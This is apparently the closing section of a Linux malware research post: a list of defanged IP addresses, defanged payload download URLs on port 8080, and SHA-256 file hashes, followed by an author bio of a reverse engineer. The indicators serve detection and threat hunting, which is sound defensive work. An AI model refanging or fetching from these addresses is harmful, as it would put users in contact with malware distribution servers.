103.206.123[.]13 103.206.122[.]245 http://103.206.123[.]13:8080/system.tar.gz http://103.206.123[.]13:8080/configUpdate.tar.gz http://103.206.123[.]13:8080/configUpdate-32.tar.gz e9e2e84ed423bfc8e82eb434cede5c9568ab44e7af410a85e5d5eb24b1e622e3 f321685342fa373c33eb9479176a086a1c56c90a1826a0aef3450809ffc01e5d d66bbbccd19587e67632585d0ac944e34e4d5fa2b9f3bb3f900f517c7bbf518b 0fe1248ecab199bee383cef69f2de77d33b269ad1664127b366a4e745b1199c8 2ea291aeb0905c31716fe5e39ff111724a3c461e3029830d2bfa77c1b3656fc0 d596acc70426a16760a2b2cc78ca2cc65c5a23bb79316627c0b2e16489bf86c0 609bbf4ccc2cb0fcbe0d5891eea7d97a05a0b29431c468bf3badd83fc4414578 8e3b92e49447a67ed32b3afadbc24c51975ff22acbd0cf8090b078c0a4a7b53d f38ab11c28e944536e00ca14954df5f4d08c1222811fef49baded5009bbbc9a2 8914fd1cfade5059e626be90f18972ec963bbed75101c7fbf4a88a6da2bc671b



#### Ignacio Sanmillan

Nacho is a security researcher specializing in reverse engineering and malware analysis. Nacho plays a key role in Intezer\'s malware hunting and investigation operations, analyzing and documenting new undetected threats. Some of his latest research involves detecting new Linux malware and finding links between different threat actors. Nacho is an adept ELF researcher, having written numerous papers and conducting projects implementing state-ofthe-art obfuscation and anti-analysis techniques in the ELF file format.